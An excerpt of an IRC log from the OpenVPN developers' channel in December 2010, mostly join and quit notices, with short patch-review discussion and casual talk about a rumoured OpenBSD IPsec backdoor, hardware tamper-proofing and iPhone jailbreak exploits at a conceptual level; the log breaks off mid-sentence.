it's invite only. ;) 12:26 < krzee> lol 13:31 < common> dazo_afk: http://article.gmane.org/gmane.network.openvpn.devel/4269 13:31 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 14:23 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:23 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:50 < krzee> Essobi, just realized you may also know me from #freeswitch 15:50 < krzee> i been in there for a couple yrs 15:54 < Essobi> krzee: haha.. I knew your name from somewhere.. 15:55 < Essobi> Jeez.. it's weird how the #fs/ios/hackintosh groups run together.. ;) 15:56 < krzee> yanno, people who are into getting the most out of their stuff =] 17:14 -!- s7r [~s7r@178.73.198.40] has joined #openvpn-devel 19:33 -!- s7r [~s7r@178.73.198.40] has left #openvpn-devel [] --- Day changed Sat Dec 11 2010 01:53 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 02:06 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 04:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:24 -!- common- [~common@p5DDA453E.dip0.t-ipconnect.de] has joined #openvpn-devel 04:26 -!- common [~common@p5DDA4979.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds] 04:26 -!- common- is now known as common 05:27 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 05:58 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:31 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 06:49 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 07:06 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:47 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 07:50 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 11:39 -!- s7r [~s7r@95.143.192.84] has joined #openvpn-devel 12:20 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:20 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:42 < common> dazo_afk: http://sourceforge.net/tracker/?func=detail&aid=2829878&group_id=48978&atid=454721 14:42 <@vpnHelper> Title: SourceForge.net: ERROR (at sourceforge.net) 14:42 < common> Artifact: This Artifact Has Been Made Private. Only Group Members Can View Private ArtifactTypes. 14:43 < common> so I doubt you'll get any useful reviews 17:47 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Write error: Connection reset by peer] 18:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 18:22 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Connection reset by peer] 18:27 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 18:38 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 260 seconds] 18:40 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel --- Day changed Sun Dec 12 2010 00:18 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Ping timeout: 240 seconds] 01:00 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 01:00 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 01:00 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:24 -!- common- [~common@p5DDA4066.dip0.t-ipconnect.de] has joined #openvpn-devel 04:28 -!- common [~common@p5DDA453E.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:28 -!- common- is now known as common 04:53 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 04:54 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:12 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:18 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 06:22 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel --- Log closed Sun Dec 12 07:09:24 2010 --- Log opened Sun Dec 12 08:47:27 2010 08:47 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 08:47 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] 08:48 -!- Irssi: Join to #openvpn-devel was synced in 44 secs 08:59 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] --- Log closed Sun Dec 12 09:05:09 2010 --- Log opened Sun Dec 12 09:22:37 2010 09:22 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:22 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] 09:23 -!- Irssi: Join to #openvpn-devel was synced in 45 secs 09:27 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 09:28 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel --- Log closed Sun Dec 12 09:37:38 2010 --- Log opened Sun Dec 12 09:43:44 2010 09:43 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 09:43 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] 09:43 !kornbluth.freenode.net [freenode-info] channel trolls and no channel staff around to help? please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 09:44 -!- Irssi: Join to #openvpn-devel was synced in 47 secs 09:50 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has quit [Ping timeout: 276 seconds] --- Log closed Sun Dec 12 09:50:10 2010 --- Log opened Sun Dec 12 09:50:22 2010 09:50 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:50 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] --- Log closed Sun Dec 12 09:53:46 2010 --- Log opened Sun Dec 12 09:55:23 2010 09:55 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:55 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] 09:56 -!- Irssi: Join to #openvpn-devel was synced in 41 secs --- Log closed Sun Dec 12 10:04:11 2010 --- Log opened Sun Dec 12 10:10:04 2010 10:10 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 10:10 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] 10:10 -!- Irssi: Join to #openvpn-devel was synced in 45 secs --- Log closed Sun Dec 12 10:23:10 2010 --- Log opened Sun Dec 12 10:23:15 2010 10:23 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 10:23 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] 10:23 !hubbard.freenode.net [freenode-info] channel trolls and no channel staff around to help? please check with freenode support: http://freenode.net/faq.shtml#gettinghelp 10:23 -!- Irssi: Join to #openvpn-devel was synced in 44 secs --- Log closed Sun Dec 12 11:32:39 2010 --- Log opened Sun Dec 12 11:38:31 2010 11:38 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 11:38 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 0 voices, 10 normal] 11:39 -!- Irssi: Join to #openvpn-devel was synced in 45 secs 13:10 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:22 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 15:16 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 16:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 16:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ --- Day changed Mon Dec 13 2010 00:32 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 00:53 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 01:20 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 240 seconds] 01:21 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:21 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Log closed Mon Dec 13 02:27:19 2010 --- Log opened Mon Dec 13 02:33:06 2010 02:33 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 02:33 -!- Irssi: #openvpn-devel: Total of 19 nicks [9 ops, 0 halfops, 0 voices, 10 normal] 02:34 -!- Irssi: Join to #openvpn-devel was synced in 59 secs 02:51 -!- dazo_afk is now known as dazo 02:54 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 272 seconds] 02:55 <@dazo> common: that sf.net tracker consists of the same contents as the mail, basically ... so nothing new. In fact the wiki page with testing instructions are more informative 02:59 <@dazo> chantra_afk: I saw your response! Thanks for reviewing it ... anyhow, I'd like to get some feedback from Fabian as well. The patch itself has been reviewed and accepted, but iirc, jamesyonan wanted to have this tested with and without using this feature before really pulling it in. That's why it's not gone further yet 04:24 -!- common- [~common@p5DDA4948.dip0.t-ipconnect.de] has joined #openvpn-devel 04:27 -!- common [~common@p5DDA4066.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:27 -!- common- is now known as common 04:42 < chantra_afk> dazo: yeah, I was replying as I read the email, so did not realized the 2nd feature was based on the first one. And I could not review the second as it is more complex/long to go through and touches part of the code I know nothing of :) 04:42 < chantra_afk> anyhow, I still think IPv4 should be checked before 802.1 04:43 < chantra_afk> to avoid 1 extra test for every packets 04:43 <@dazo> good point 04:43 < chantra_afk> it might be only 1 test, but when traffic increase, it might make a difference 04:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 05:20 < common> you could use __likely compiler hints in this case 05:20 < common> helps branch prediction 05:47 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 05:58 <@dazo> common: good point as well ... however, the less tests we do, the less cpu cycles we spend on things we can do simpler 05:58 * dazo wonders how much more efficient the openvpn code would be by using the __likely compiler hints 05:58 <@dazo> it will help for sure, but I'd like to get an idea of how much :) 06:03 < common> given there is en/decryption involved, I would not care about a single if branch 06:07 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Quit: Leaving] 07:11 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 08:31 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Quit: Leaving] 09:46 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:46 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Log closed Mon Dec 13 09:49:36 2010 --- Log opened Mon Dec 13 10:30:24 2010 10:30 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 10:30 -!- Irssi: #openvpn-devel: Total of 18 nicks [9 ops, 0 halfops, 0 voices, 9 normal] 10:30 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 10:36 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 11:12 -!- ecrist_ [~ecrist@216.17.68.153] has joined #openvpn-devel 11:13 -!- ecrist_ [~ecrist@216.17.68.153] has quit [Client Quit] 11:47 -!- mattock1 [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:47 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 12:31 -!- dazo is now known as dazo_afk 12:32 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 13:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:27 -!- s7r [~s7r@178.73.198.24] has joined #openvpn-devel 13:55 -!- andj [~Adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has left #openvpn-devel ["Leaving."] 16:03 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 16:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:03 -!- mattock1 [~samuli@dyn55-11.yok.fi] has quit [Read error: Connection reset by peer] 16:11 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 18:15 -!- s7r [~s7r@178.73.198.24] has left #openvpn-devel [] --- Log opened Mon Dec 13 19:49:54 2010 19:49 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 19:49 -!- Irssi: #openvpn-devel: Total of 19 nicks [10 ops, 0 halfops, 0 voices, 9 normal] 19:50 -!- Irssi: Join to #openvpn-devel was synced in 29 secs 21:02 -!- s7r [~s7r@178.73.198.24] has joined #openvpn-devel 21:29 -!- s7r [~s7r@178.73.198.24] has left #openvpn-devel [] 21:31 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 21:33 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:33 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:36 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Client Quit] 21:37 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:37 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:55 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 21:56 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:03 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:38 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 22:38 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 22:38 -!- mode/#openvpn-devel [+o d457k] by ChanServ 22:39 -!- dazol [~dazo@nat/redhat/x-zhxamqseajxtodja] has joined #openvpn-devel 22:40 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 22:40 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:40 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:41 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 22:41 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 22:41 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:52 -!- Netsplit *.net <-> *.split quits: @raidz, common, krzee, @agi, helmut, @d12fk, @d457k, @patelx, chantra_afk, EvilJStoker, (+7 more, use /NETSPLIT to show all of them) 22:54 -!- Netsplit over, joins: waldner, kisom, @jamesyonan, @d457k, @agi, @patelx, common 22:56 -!- Netsplit over, joins: @openvpn2009, chantra_afk, @vpnHelper, EvilJStoker, @raidz, helmut, @cron2, krzee 22:57 -!- Netsplit *.net <-> *.split quits: helmut, @cron2, @raidz, EvilJStoker, @vpnHelper 22:58 -!- Netsplit over, joins: @vpnHelper, EvilJStoker, @raidz, helmut, @cron2 --- Day changed Tue Dec 14 2010 02:46 -!- dazol is now known as dazo 02:46 -!- dazo [~dazo@nat/redhat/x-zhxamqseajxtodja] has quit [Changing host] 02:46 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:46 -!- mode/#openvpn-devel [+o dazo] by ChanServ 02:46 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 272 seconds] 02:52 -!- agi [~agi@85.13.243.26] has joined #openvpn-devel 02:55 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Ping timeout: 272 seconds] 02:56 -!- common [~common@p5DDA4948.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 02:57 -!- common [~common@p5DDA4948.dip0.t-ipconnect.de] has joined #openvpn-devel 02:59 -!- patelx [~a@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 03:25 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 03:26 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:27 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:23 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 04:25 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:25 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:25 -!- common- [~common@p5DDA48AA.dip0.t-ipconnect.de] has joined #openvpn-devel 04:26 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:28 -!- common [~common@p5DDA4948.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds] 04:28 -!- common- is now known as common 08:35 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 10:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 10:24 -!- janjust [~janjust@ardeche.nikhef.nl] has left #openvpn-devel ["Leaving"] 11:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 11:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:29 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 12:10 -!- dazo is now known as dazo_afk 12:19 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 12:19 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 12:19 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 12:25 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 12:25 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has quit [Client Quit] 12:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Remote host closed the connection] 13:04 -!- Essobi [~Essobi@74-128-72-212.dhcp.insightbb.com] has joined #openvpn-devel 14:20 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:20 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:31 -!- s7r [~s7r@178.73.198.39] has joined #openvpn-devel 14:35 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 14:35 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 14:35 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:19 -!- s7r [~s7r@178.73.198.39] has quit [Ping timeout: 240 seconds] 18:11 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 18:12 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 18:12 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 18:12 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 18:24 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 18:42 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 19:18 <@raidz> http://bsd.slashdot.org/story/10/12/15/004235/FBI-Alleged-To-Have-Backdoored-OpenBSDs-IPSEC-Stack 19:18 <@vpnHelper> Title: FBI Alleged To Have Backdoored OpenBSD's IPSEC Stack - Slashdot (at bsd.slashdot.org) 19:18 <@raidz> ouch! 19:38 < ecrist> fuuuuuuuuuuck 19:57 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 22:06 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 22:06 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 22:06 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 23:33 -!- krzie [~k@ftp.secure-computing.net] has joined #openvpn-devel 23:33 -!- krzie [~k@ftp.secure-computing.net] has quit [Changing host] 23:33 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:36 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel --- Day changed Wed Dec 15 2010 00:27 < Essobi> It' a big rumor. 00:27 < ecrist> what is? 00:41 < Essobi> http://bsd.slashdot.org/story/10/12/15/004235/FBI-Alleged-To-Have-Backdoored-OpenBSDs-IPSEC-Stack 00:41 <@vpnHelper> Title: FBI Alleged To Have Backdoored OpenBSD's IPSEC Stack - Slashdot (at bsd.slashdot.org) 00:41 < Essobi> That.. 00:41 < Essobi> I havn't seen the code audit to prove it yet. ;) 00:42 < krzie> i tend to live on the paranoid side of those arguments 00:42 < Essobi> Fair enough. 00:43 < Essobi> Althou.. between that, and the Crypto AG story back in the 90s... 00:43 < Essobi> Makes me wonder if all those level2 and above hardware accelerated systems are tamper-proof cause they don't want you to find their bug. ;) 00:44 < Essobi> Skerreh 00:51 < ecrist> no such thing as tamper-proof when you have physical control of the hw 01:00 -!- dazo_afk is now known as dazo 01:28 < Essobi> ecrist: It's a HW accel card that is defined as "tamper-proof" meaning it's got an intrusion shell around it, that renders the chip defunt if you ever pop the case open. 01:28 < ecrist> so such thing 01:28 < ecrist> s/so/no/ 01:29 < Essobi> No? Perhaps I misread the desc of the card. 01:29 < Essobi> regardless, If the story about Crypto AG is true, and this IPSec thing pans out too... I'm already paranoid. 01:29 < ecrist> my penis can rotate 180 degress, according to the documentation, but I am pretty sure there's a few ladies who'd say otherwise. ;) 01:30 < Essobi> lol 01:30 < Essobi> 370 degrees, eh? 01:30 < ecrist> if you don't have physical control of something, you have no control of it. 01:30 < ecrist> only illusions in your own mind. 01:30 < ecrist> lol 01:30 < Essobi> I get the whole I touch it, I own it thing. 01:31 < ecrist> look at the iPhone Dev Team fiasco with Apple 01:31 < ecrist> Apple has *real* money to throw at it, and there's a group of folks that are making a mockery of them. 01:31 < ecrist> trust me, if they could stop it, they would. 01:31 < krzie> ecrist, it can rotate 180 degrees when its soft :-p 01:32 < ecrist> krzie: nikki told you, huh? 01:32 < ecrist> :P 01:32 < krzie> hehe 01:33 < Essobi> Ah, my bad.. It zeros out the CSPs on intrusion to the physical shell. 01:33 < Essobi> I mis-read that.. IDK what I was drinking that day. 01:34 < ecrist> I'm just saying, you don't control what you don't physically control. 01:34 < ecrist> 'you' being metaphoric, of course 01:35 < Essobi> ecrist: You realize that the iphone team hasn't done anything really crazy.. It's all been overflows in unchecked code. 01:35 < ecrist> yup, and you've illustrated my point exactly. 01:35 < Essobi> And if apple had real hackers mangling the thing before it went to production it wouldn't happen. 01:35 < ecrist> I disagree. 01:36 < Essobi> Like the last exploit was found in the baseband.. an overflow made with an automated fuzzer. 01:36 < Essobi> A script, at that. 01:36 < ecrist> it's alway possible to physcially circumvent phsyical security. 01:37 < ecrist> what? X chip provides a crypto API to the platter? replace chip X with chip Y 01:37 < Essobi> I'm not saying someone couldn't bust the keys up for a phone with a microscope and a pair of tweezers, to nab the key. 01:37 < ecrist> unless the data on the platter is encrypted (not the case is most OEM solutions) 01:37 < ecrist> no need for a key 01:38 < Essobi> I'm just saying, the dev team isn't some mad EEs doing chip swaps or bruting out the private key.. they're doing standard run-of-the-mill overflows. 01:38 < ecrist> if I can clone the OS from memory with a program using a buff overlow/etc, save it, replace faulty/problematic hardware, load saved state of OS into memory, I'm golden. 01:38 < Essobi> It is.. The data, written to it is encrypted. 01:38 < ecrist> ah, but their first hack was hardware based, not based on some overflow. 01:39 < ecrist> low-hanging fruit, dude. 01:39 < Essobi> The A4 processer decrypts it at boot time. 01:39 < ecrist> sure, once it's decoded and loaded to RAM, it's decoded. 01:39 < ecrist> save state, reload on other hardware (worst case) 01:39 < Essobi> yurp hence the tethered hacks. 01:39 < ecrist> look how vmware does save-state 01:40 < ecrist> again, if you don't control the physical access, you don't control the hardware. 01:40 * ecrist heads to bed. 01:40 < Essobi> The key is burnt into the A4. 01:40 < ecrist> so what? 01:40 < Essobi> I'm not disagreeing with you here, at all. 01:40 < ecrist> I'm copying it after the stuff has been decoded. 01:41 < Essobi> Just pointing out, hackers to pick your own low-hanging fruit arn't THAT expensive. 01:42 < ecrist> there's always low-hanging fruit 01:42 < ecrist> relatively speaking 01:42 < Essobi> Like the whole thing releasing the same exploitable baseband 01:42 < Essobi> on the 3g then again on the ipad.. 01:42 < ecrist> if a buffer overlow works, great, if I have to swap an IC made in Taiwan for one made in Bangladhesh to get an unlocked iphone, so be it. 01:42 < Essobi> That was idiotic, and tells me they don't have any infosec people. 01:43 < ecrist> I think, at this point, Apple has given up, and realized they're only losing money fighting it. 01:43 < ecrist> best effort is all they need to do 01:43 < Essobi> It was months apart and found by the same automated baseband fuzzer that picked up the first one 01:43 < ecrist> if they do the right thing for 99% of people, 99% of people won't jail break. 01:44 < Essobi> true 01:44 < ecrist> no reason to spend 20% of dev money to stop 1% of end-users. 01:44 < ecrist> my numbers are made up, fwiw 01:44 < Essobi> The cost of the hack > the cost of a different phone/your phone == no more hacking. 01:44 < Essobi> They have to make it too hard, or too expensive. 01:45 < ecrist> cost of fix > cost of hack when the hackers are having fun. 01:45 < Essobi> And really... I don't think they care about the jailbreakers.. it's the unlockers they have to go after contractually because of their agreement with AT&T. 01:45 < Essobi> yurp 01:45 < Essobi> I need sleep too 01:45 < Essobi> later man 01:46 < ecrist> later 02:18 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 02:18 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 03:08 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 04:20 -!- dazo is now known as dazo_afk 04:26 -!- common- [~common@p5DDA49E6.dip0.t-ipconnect.de] has joined #openvpn-devel 04:29 -!- common [~common@p5DDA48AA.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:29 -!- common- is now known as common 04:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:05 -!- dazo_afk is now known as dazo 06:19 -!- mape2k [~jabber@galatea.net.pennewiss.de] has left #openvpn-devel [] 06:40 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:04 * dazo reads scrollback 09:04 <@dazo> ecrist: did you know that 72% of all statistics are made up in the moment it's being referenced? 09:05 < ecrist> :) 11:13 < Essobi> http://img696.imageshack.us/img696/9687/openbsdbackdoorlocated.jpg 11:19 < ecrist> wow, I got linked that image in three channels nearly synchronously 11:19 < ecrist> by three separate users 11:22 < Essobi> ecrist: ;) I got around. 11:22 < Essobi> Get. 11:23 < Essobi> I sent it out to umm... 4 irc nets, and ~12 channels simultaneously. 11:23 < Essobi> And krzie pointed out.. I see people in lots of different networks.. 12:03 <@dazo> mattock: I've updated the wiki with some points for tomorrows meeting ... tomorrow, I do have limited time though, so max 1 hour 12:36 -!- dazo is now known as dazo_afk 13:24 < krzee> LOL nice image 13:43 <@cron2> oh. I wondered why there is no meeting today. Because it's Wednesday, that is. Stupid me :-) 14:43 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:43 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 17:32 -!- s7r [~s7r@79.142.65.62] has joined #openvpn-devel 19:14 -!- s7r [~s7r@79.142.65.62] has left #openvpn-devel [] --- Day changed Thu Dec 16 2010 01:06 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 01:14 -!- dazo_afk is now known as dazo 01:16 <@dazo> cron2: remember that the meeting is 19:00 our time as well ... but should be a meeting today, afaik ;-) 02:31 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 02:35 <@cron2> dazo: well, *today*, I won't make the meeting. Customer christmas party tonight, starts at 19:00... 02:35 <@cron2> let's check the topics whether there's something I want to comment on... 02:35 <@dazo> cron2: ahh .. pity! ... well, for us at least :) 02:35 <@cron2> argh 02:36 <@dazo> If you would be able to ack one or two of the patches ... that would save some time :) 02:36 <@cron2> openvpn.net got restructured, now it's even harder to find "non AS openvpn" 02:36 -!- waldner [~waldner@2001:470:1f08:1d5::2] has joined #openvpn-devel 02:36 -!- waldner [~waldner@2001:470:1f08:1d5::2] has quit [Changing host] 02:36 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 02:37 <@dazo> cron2: http://community.openvpn.net/ :) 02:37 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 02:37 <@cron2> yeah, sure, but I naively assumed I'd get there from www.openvpn.net 02:38 * dazo is not too happy about his Intel Ultimate-N 6300 wireless support in Fedora 13 against an 11n wireless connection :( 02:41 <@cron2> ok, ack on the dev_type patch - I can't see any immediate use (I just name my devices "tunX" and "tapX"...) but I can't see any harm either - the code looks safe enough 02:42 <@cron2> I'm actually not very much in favour of yesterday's patch to make "--x509-username-field" an #ifdef 02:42 <@cron2> the code is harmless enough, and we already have WAY TOO MANY #ifdef's littered across the code 02:43 <@cron2> making this 